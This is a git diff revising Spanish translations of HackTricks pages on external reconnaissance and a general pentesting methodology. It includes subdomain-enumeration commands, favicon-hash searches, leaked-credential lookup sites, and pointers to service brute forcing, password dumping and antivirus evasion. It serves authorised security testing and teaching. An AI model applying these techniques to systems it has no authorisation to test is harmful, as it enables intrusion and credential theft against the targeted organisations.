1. Encontrar las adquisiciones de la empresa principal, esto nos dará las empresas dentro del alcance.
|
||||
2. Encontrar el ASN (si hay alguno) de cada empresa, esto nos dará los rangos de IP propiedad de cada empresa.
|
||||
2. Encontrar el ASN (si lo hay) de cada empresa, esto nos dará los rangos de IP propiedad de cada empresa.
|
||||
3. Utilizar búsquedas de whois inverso para buscar otras entradas (nombres de organizaciones, dominios...) relacionadas con la primera (esto se puede hacer de forma recursiva).
|
||||
4. Utilizar otras técnicas como los filtros `org` y `ssl` de shodan para buscar otros activos (el truco de `ssl` se puede hacer de forma recursiva).
|
||||
|
||||
|
@ -41,8 +41,8 @@ Otra opción es visitar la página de **Wikipedia** de la empresa principal y bu
|
|||
|
||||
### **ASNs**
|
||||
|
||||
Un número de sistema autónomo (**ASN**) es un **número único** asignado a un **sistema autónomo** (AS) por la **Autoridad de Números Asignados de Internet (IANA)**.\
|
||||
Un **AS** consiste en **bloques** de **direcciones IP** que tienen una política claramente definida para acceder a redes externas y son administradas por una sola organización pero pueden estar compuestas por varios operadores.
|
||||
Un número de sistema autónomo (**ASN**) es un **número único** asignado a un **sistema autónomo** (AS) por la **Autoridad de Asignación de Números de Internet (IANA)**.\
|
||||
Un **AS** consta de **bloques** de **direcciones IP** que tienen una política claramente definida para acceder a redes externas y son administradas por una sola organización pero pueden estar compuestas por varios operadores.
|
||||
|
||||
Es interesante saber si la **empresa ha asignado algún ASN** para encontrar sus **rangos de IP**. Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y buscar **dominios** dentro de estas IPs.\
|
||||
Puedes **buscar** por el **nombre de la empresa**, por **IP** o por **dominio** en [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
|
@ -74,17 +74,17 @@ Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http://
|
|||
|
||||
### **Buscando vulnerabilidades**
|
||||
|
||||
En este punto conocemos **todos los activos dentro del alcance**, así que si se te permite, podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
|
||||
También podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres, deberías** consultar este libro sobre cómo hacer pruebas de penetración en varios servicios posibles que se estén ejecutando.\
|
||||
**Además, podría valer la pena mencionar que también puedes preparar algunas listas de** nombres de usuario y contraseñas **predeterminadas y tratar de** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
En este punto conocemos **todos los activos dentro del alcance**, por lo que si se te permite, podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
|
||||
También podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o utilizar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres, deberías** consultar este libro para aprender a hacer pentesting en varios servicios posibles en ejecución.\
|
||||
**Además, podría valer la pena mencionar que también puedes preparar algunas listas de** nombres de usuario y **contraseñas por defecto y tratar de** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Dominios
|
||||
|
||||
> Conocemos todas las empresas dentro del alcance y sus activos, es hora de encontrar los dominios dentro del alcance.
|
||||
|
||||
_Ten en cuenta que en las técnicas propuestas a continuación también puedes encontrar subdominios y esa información no debe ser subestimada._
|
||||
_Por favor, ten en cuenta que en las técnicas propuestas a continuación también puedes encontrar subdominios y esa información no debe ser subestimada._
|
||||
|
||||
Primero, debes buscar el/los **dominio(s) principal(es)** de cada empresa. Por ejemplo, para _Tesla Inc._ será _tesla.com_.
|
||||
En primer lugar, debes buscar el/los **dominio(s) principal(es)** de cada empresa. Por ejemplo, para _Tesla Inc._ será _tesla.com_.
|
||||
|
||||
### **DNS Reverso**
|
||||
|
||||
|
@ -108,7 +108,7 @@ Puedes utilizar herramientas en línea como:
|
|||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
|
||||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratis**
|
||||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis**
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** en la web, no gratis en la API.
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** en la web, no gratis en API.
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No gratis (solo **100 búsquedas gratuitas**)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - No gratis
|
||||
|
@ -133,14 +133,14 @@ Hay algunas páginas y herramientas que te permiten buscar por estos rastreadore
|
|||
|
||||
### **Favicon**
|
||||
|
||||
¿Sabías que podemos encontrar dominios y subdominios relacionados con nuestro objetivo buscando el mismo hash de icono de favicon? Esto es exactamente lo que hace la herramienta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creada por [@m4ll0k2](https://twitter.com/m4ll0k2). Así es como se usa:
|
||||
¿Sabías que podemos encontrar dominios y subdominios relacionados con nuestro objetivo buscando el mismo hash de icono de favicon? Esto es exactamente lo que hace la herramienta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creada por [@m4ll0k2](https://twitter.com/m4ll0k2). Así es como se utiliza:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
```
|
||||
![favihash - descubre dominios con el mismo hash de icono de favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||
![favihash - descubre dominios con el mismo hash de ícono de favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||
|
||||
En pocas palabras, favihash nos permitirá descubrir dominios que tienen el mismo hash de icono de favicon que nuestro objetivo.
|
||||
En pocas palabras, favihash nos permitirá descubrir dominios que tienen el mismo hash de ícono de favicon que nuestro objetivo.
|
||||
|
||||
Además, también puedes buscar tecnologías utilizando el hash de favicon como se explica en [**esta publicación de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Esto significa que si conoces el **hash del favicon de una versión vulnerable de una tecnología web**, puedes buscar si está en shodan y **encontrar más lugares vulnerables**:
|
||||
```bash
|
||||
|
@ -161,7 +161,7 @@ return fhash
|
|||
```
|
||||
### **Derechos de autor / Cadena única**
|
||||
|
||||
Busca dentro de las páginas web **cadenas que podrían ser compartidas en diferentes sitios web de la misma organización**. La **cadena de derechos de autor** podría ser un buen ejemplo. Luego busca esa cadena en **Google**, en otros **navegadores** o incluso en **Shodan**: `shodan search http.html:"Cadena de derechos de autor"`
|
||||
Busque dentro de las páginas web **cadenas que podrían ser compartidas en diferentes sitios web de la misma organización**. La **cadena de derechos de autor** podría ser un buen ejemplo. Luego busque esa cadena en **Google**, en otros **navegadores** o incluso en **Shodan**: `shodan search http.html:"Cadena de derechos de autor"`
|
||||
|
||||
### **Tiempo de CRT**
|
||||
|
||||
|
@ -172,7 +172,7 @@ Es común tener una tarea programada como
|
|||
```
|
||||
### **Metodología de Reconocimiento Externo**
|
||||
|
||||
Renovar todos los certificados de dominio en el servidor. Esto significa que incluso si la CA utilizada para esto no establece la hora en que se generó en el tiempo de validez, es posible **encontrar dominios pertenecientes a la misma empresa en los registros de transparencia de certificados**.\
|
||||
Renovar todos los certificados de dominio en el servidor. Esto significa que incluso si la CA utilizada para esto no establece la hora en que se generó en el Tiempo de validez, es posible **encontrar dominios pertenecientes a la misma empresa en los registros de transparencia de certificados**.\
|
||||
Consulta este [**artículo para obtener más información**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### **Toma de Control Pasiva**
|
||||
|
@ -199,7 +199,7 @@ Podrías acceder al **certificado TLS** de la página web principal, obtener el
|
|||
|
||||
Busca posibles [tomas de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Tal vez alguna empresa esté **utilizando un dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y notifica a la empresa.
|
||||
|
||||
Si encuentras algún **dominio con una IP diferente** a las que ya encontraste en el descubrimiento de activos, debes realizar un **escaneo de vulnerabilidades básico** (usando Nessus o OpenVAS) y un [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de los servicios que se estén ejecutando, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
||||
Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, debes realizar un **escaneo de vulnerabilidades básico** (usando Nessus o OpenVAS) y un [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de los servicios que se estén ejecutando, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
||||
_Ten en cuenta que a veces el dominio está alojado dentro de una IP que no está controlada por el cliente, por lo que no está dentro del alcance, ten cuidado._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
|
@ -215,7 +215,7 @@ Es hora de encontrar todos los posibles subdominios de cada dominio encontrado.
|
|||
|
||||
### **DNS**
|
||||
|
||||
Intentemos obtener **subdominios** de los registros de **DNS**. También deberíamos intentar la **Transferencia de Zona** (si es vulnerable, deberías informarlo).
|
||||
Intentemos obtener **subdominios** de los registros de **DNS**. También deberíamos intentar la **Transferencia de zona** (si es vulnerable, deberías informarlo).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
@ -351,7 +351,7 @@ Para esta acción necesitarás algunas **listas de palabras comunes de subdomini
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
Y también IPs de buenos resolutores de DNS. Para generar una lista de resolutores de DNS confiables, puedes descargar los resolutores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) y usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrarlos. O podrías usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
Y también IPs de buenos resolutores de DNS. Para generar una lista de resolutores de DNS confiables, puedes descargar los resolutores desde [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) y usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrarlos. O podrías usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
Las herramientas más recomendadas para la fuerza bruta de DNS son:
|
||||
|
||||
|
@ -386,7 +386,7 @@ Después de haber encontrado subdominios utilizando fuentes abiertas y fuerza br
|
|||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dado los dominios y subdominios, genera permutaciones.
|
||||
* Puedes obtener la lista de permutaciones de goaltdns **wordlist** [**aquí**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
* Puedes obtener la lista de permutaciones de **wordlist** de goaltdns [**aquí**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
|
@ -415,7 +415,7 @@ python3 main.py adobe.com adobe adobe.rules
|
|||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ es un fuzzer de fuerza bruta de subdominios acoplado con un algoritmo inmensamente simple pero efectivo guiado por respuestas DNS. Utiliza un conjunto de datos de entrada proporcionados, como una lista de palabras personalizada o registros históricos de DNS/TLS, para sintetizar con precisión más nombres de dominio correspondientes y expandirlos aún más en un bucle basado en la información recopilada durante el escaneo DNS.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ es un fuzzer de fuerza bruta de subdominios acoplado con un algoritmo inmensamente simple pero efectivo guiado por respuestas de DNS. Utiliza un conjunto de datos de entrada proporcionados, como una lista de palabras personalizada o registros históricos de DNS/TLS, para sintetizar con precisión más nombres de dominio correspondientes y expandirlos aún más en un bucle basado en la información recopilada durante el escaneo de DNS.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
|
@ -468,11 +468,11 @@ Además, en este punto, al conocer todos los dominios dentro del alcance, intent
|
|||
|
||||
### **Monitorización**
|
||||
|
||||
Puedes **monitorizar** si se crean **nuevos subdominios** de un dominio monitoreando los **Logs de Transparencia de Certificados** que hace [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
Puedes **monitorizar** si se crean **nuevos subdominios** de un dominio monitoreando los **Logs de Transparencia de Certificados** que hace [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Búsqueda de vulnerabilidades**
|
||||
|
||||
Verifica posibles [**apoderamientos de subdominios**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Verifica posibles [**apoderamientos de subdominios**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) potenciales.\
|
||||
Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Si encuentras algún **subdominio con una IP diferente** a las que ya encontraste en el descubrimiento de activos, debes realizar un **escaneo de vulnerabilidades básico** (usando Nessus u OpenVAS) y un [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de los servicios que se estén ejecutando, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
||||
|
@ -491,11 +491,11 @@ También puedes verificar los dominios que apuntan a una dirección IP específi
|
|||
|
||||
### **Búsqueda de vulnerabilidades**
|
||||
|
||||
**Escanea todos los IPs que no pertenecen a CDNs** (ya que probablemente no encontrarás nada interesante allí). En los servicios en ejecución descubiertos, es posible que **encuentres vulnerabilidades**.
|
||||
**Escanea los puertos de todas las IPs que no pertenecen a CDNs** (ya que es muy probable que no encuentres nada interesante allí). En los servicios en ejecución descubiertos, es posible que **encuentres vulnerabilidades**.
|
||||
|
||||
Encuentra una [**guía**](../pentesting-network/) **sobre cómo escanear hosts.**
|
||||
**Encuentra una** [**guía**](../pentesting-network/) **sobre cómo escanear hosts.**
|
||||
|
||||
## Búsqueda de servidores web
|
||||
## Caza de servidores web
|
||||
|
||||
> Hemos encontrado todas las empresas y sus activos y conocemos los rangos de IP, dominios y subdominios dentro del alcance. Es hora de buscar servidores web.
|
||||
|
||||
|
@ -552,7 +552,7 @@ Los correos electrónicos serán útiles más adelante para **fuerza bruta en lo
|
|||
|
||||
## Fugas de Credenciales
|
||||
|
||||
Con los **dominios**, **subdominios** y **correos electrónicos** puedes comenzar a buscar credenciales filtradas en el pasado pertenecientes a esos correos electrónicos:
|
||||
Con los **dominios**, **subdominios** y **correos electrónicos**, puedes comenzar a buscar credenciales filtradas en el pasado pertenecientes a esos correos electrónicos:
|
||||
|
||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
@ -563,7 +563,7 @@ Si encuentras credenciales filtradas **válidas**, esto es una victoria muy fác
|
|||
|
||||
## Fugas de Secretos
|
||||
|
||||
Las fugas de credenciales están relacionadas con hackeos de empresas donde se filtró y vendió **información sensible**. Sin embargo, las empresas podrían verse afectadas por **otras filtraciones** cuya información no está en esas bases de datos:
|
||||
Las fugas de credenciales están relacionadas con hackeos de empresas donde se filtró y vendió **información sensible**. Sin embargo, las empresas podrían verse afectadas por **otras fugas** cuya información no está en esas bases de datos:
|
||||
|
||||
### Fugas de Github
|
||||
|
||||
|
@ -621,7 +621,7 @@ También quiero hacer una mención especial a la sección [**Herramientas de esc
|
|||
Así que ya has:
|
||||
|
||||
1. Encontrado todas las **empresas** dentro del alcance.
|
||||
2. Encontrado todos los **activos** pertenecientes a las empresas (y realizado un escaneo de vulnerabilidades si está dentro del alcance).
|
||||
2. Encontrado todos los **activos** pertenecientes a las empresas (y realizado un escaneo de vulnerabilidades si está en el alcance).
|
||||
3. Encontrado todos los **dominios** pertenecientes a las empresas.
|
||||
4. Encontrado todos los **subdominios** de los dominios (¿algún caso de toma de subdominio?).
|
||||
5. Encontrado todas las **IPs** (de y **no de CDNs**) dentro del alcance.
|
||||
|
@ -645,7 +645,7 @@ Existen varias herramientas que realizarán parte de las acciones propuestas con
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
|
||||
|
||||
|
@ -32,7 +32,7 @@ _Logos de Hacktricks diseñados por_ [_@ppiernacho_](https://www.instagram.com/p
|
|||
|
||||
### 1 - [Descubriendo hosts dentro de la red](pentesting-network/#discovering-hosts)/ [Descubriendo Activos de la empresa](external-recon-methodology/)
|
||||
|
||||
**Dependiendo** si la **prueba** que estás realizando es interna o externa, puede interesarte encontrar **hosts dentro de la red de la empresa** (prueba interna) o **encontrar activos de la empresa en internet** (prueba externa).
|
||||
**Dependiendo** de si la **prueba** que estás realizando es interna o externa, puede interesarte encontrar **hosts dentro de la red de la empresa** (prueba interna) o **encontrar activos de la empresa en internet** (prueba externa).
|
||||
|
||||
{% hint style="info" %}
|
||||
Ten en cuenta que si estás realizando una prueba externa, una vez que logres obtener acceso a la red interna de la empresa, deberías reiniciar esta guía.
|
||||
|
@ -41,11 +41,11 @@ Ten en cuenta que si estás realizando una prueba externa, una vez que logres ob
|
|||
### **2-** [**Divirtiéndote con la red**](pentesting-network/) **(Interno)**
|
||||
|
||||
**Esta sección solo se aplica si estás realizando una prueba interna.**\
|
||||
Antes de atacar un host, quizás prefieras **robar algunas credenciales** **de la red** o **espiar** algunos **datos** para aprender de forma **pasiva/activa (MitM)** lo que puedes encontrar dentro de la red. Puedes leer [**Pentesting Network**](pentesting-network/#sniffing).
|
||||
Antes de atacar un host, quizás prefieras **robar algunas credenciales** **de la red** o **espiar** algunos **datos** para aprender de forma **pasiva/activa (MitM)** qué puedes encontrar dentro de la red. Puedes leer [**Pentesting Network**](pentesting-network/#sniffing).
|
||||
|
||||
### 3- [Escaneo de Puertos - Descubrimiento de Servicios](pentesting-network/#scanning-hosts)
|
||||
|
||||
Lo primero que debes hacer al **buscar vulnerabilidades en un host** es saber qué **servicios se están ejecutando en qué puertos. Veamos las [**herramientas básicas para escanear puertos de hosts**](pentesting-network/#scanning-hosts).
|
||||
Lo primero que debes hacer al **buscar vulnerabilidades en un host** es saber qué **servicios se están ejecutando** en qué puertos. Veamos las [**herramientas básicas para escanear puertos de hosts**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [Buscando exploits de versiones de servicios](search-exploits.md)
|
||||
|
||||
|
@ -55,20 +55,20 @@ Una vez que sepas qué servicios se están ejecutando, y tal vez su versión, de
|
|||
|
||||
Si no hay ningún exploit interesante para ningún servicio en ejecución, deberías buscar **configuraciones incorrectas comunes en cada servicio en ejecución**.
|
||||
|
||||
**Dentro de este libro encontrarás una guía para pentestear los servicios más comunes** (y otros que no son tan comunes)**. Por favor, busca en el índice izquierdo la sección de** _**PENTESTING**_ **(los servicios están ordenados por sus puertos predeterminados).
|
||||
**Dentro de este libro encontrarás una guía para pentestear los servicios más comunes** (y otros que no lo son tanto)**. Por favor, busca en el índice izquierdo la sección de** _**PENTESTING**_ **(los servicios están ordenados por sus puertos predeterminados).**
|
||||
|
||||
**Quiero hacer una mención especial de la parte de** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ya que es la más extensa).**\
|
||||
También, se puede encontrar una pequeña guía sobre cómo [**encontrar vulnerabilidades conocidas en software**](search-exploits.md) aquí.
|
||||
**Quiero hacer una mención especial a la parte de** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ya que es la más extensa).**\
|
||||
También, aquí puedes encontrar una pequeña guía sobre cómo [**encontrar vulnerabilidades conocidas en software**](search-exploits.md).
|
||||
|
||||
**Si tu servicio no está en el índice, busca en Google** otros tutoriales y **hazme saber si quieres que lo añada.** Si no **encuentras nada** en Google, realiza tu **propio pentesting a ciegas**, podrías empezar por **conectarte al servicio, hacer fuzzing y leer las respuestas** (si las hay).
|
||||
**Si tu servicio no está en el índice, busca en Google** otros tutoriales y **hazme saber si quieres que lo añada**. Si no **encuentras nada** en Google, realiza tu **propio pentesting a ciegas**, podrías empezar por **conectarte al servicio, hacer fuzzing y leer las respuestas** (si las hay).
|
||||
|
||||
#### 5.1 Herramientas Automáticas
|
||||
|
||||
También existen varias herramientas que pueden realizar **evaluaciones automáticas de vulnerabilidades**. **Te recomendaría probar** [**Legion**](https://github.com/carlospolop/legion)**, que es la herramienta que he creado y está basada en las notas sobre pentesting de servicios que puedes encontrar en este libro.**
|
||||
|
||||
#### **5.2 Fuerza Bruta en servicios**
|
||||
#### **5.2 Realizando Fuerza Bruta en servicios**
|
||||
|
||||
En algunos escenarios, un **Ataque de Fuerza Bruta** podría ser útil para **comprometer** un **servicio**. [**Encuentra aquí una Hoja de Trucos de fuerza bruta de diferentes servicios**](brute-force.md)**.**
|
||||
En algunos escenarios, un **Ataque de Fuerza Bruta** podría ser útil para **comprometer** un **servicio**. [**Encuentra aquí una Hoja de Trucos de diferentes servicios para realizar fuerza bruta**](brute-force.md)**.**
|
||||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
|
@ -80,7 +80,7 @@ De alguna manera deberías haber encontrado **alguna forma de ejecutar código**
|
|||
|
||||
Especialmente en Windows podrías necesitar algo de ayuda para **evitar los antivirus**: [**Consulta esta página**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
### 8- Dentro
|
||||
### 8- Interno
|
||||
|
||||
Si tienes problemas con la shell, aquí puedes encontrar una pequeña **recopilación de los comandos más útiles** para pentesters:
|
||||
|
||||
|
@ -115,7 +115,7 @@ Aquí puedes encontrar una [**metodología que explica las acciones más comunes
|
|||
#### **11.1 - Saqueo**
|
||||
|
||||
Verifica si puedes encontrar más **contraseñas** dentro del host o si tienes **acceso a otras máquinas** con los **privilegios** de tu **usuario**.\
|
||||
Encuentra aquí diferentes formas de [**extraer contraseñas en Windows**](broken-reference/).
|
||||
Encuentra aquí diferentes formas de [**volcar contraseñas en Windows**](broken-reference/).
|
||||
|
||||
#### 11.2 - Persistencia
|
||||
|
||||
|
@ -128,8 +128,8 @@ TODO: Completar la publicación de persistencia en Windows y Linux
|
|||
|
||||
Con las **credenciales recopiladas** podrías tener acceso a otras máquinas, o tal vez necesites **descubrir y escanear nuevos hosts** (comenzar nuevamente la Metodología de Pentesting) dentro de nuevas redes donde esté conectada tu víctima.\
|
||||
En este caso, el túnel podría ser necesario. Aquí puedes encontrar [**una publicación sobre túneles**](tunneling-and-port-forwarding.md).\
|
||||
Definitivamente también deberías revisar la publicación sobre [Metodología de Pentesting de Active Directory](../windows-hardening/active-directory-methodology/). Allí encontrarás trucos geniales para moverte lateralmente, escalar privilegios y extraer credenciales.\
|
||||
También revisa la página sobre [**NTLM**](../windows-hardening/ntlm/), podría ser muy útil para pivotar en entornos de Windows.
|
||||
Definitivamente también deberías revisar la publicación sobre [Metodología de Pentesting de Active Directory](../windows-hardening/active-directory-methodology/). Allí encontrarás trucos geniales para moverte lateralmente, escalar privilegios y volcar credenciales.\
|
||||
Revisa también la página sobre [**NTLM**](../windows-hardening/ntlm/), podría ser muy útil para pivotar en entornos de Windows.
|
||||
|
||||
### MÁS
|
||||
|
||||
|
@ -149,9 +149,9 @@ También revisa la página sobre [**NTLM**](../windows-hardening/ntlm/), podría
|
|||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Oracle de Relleno**](../cryptography/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
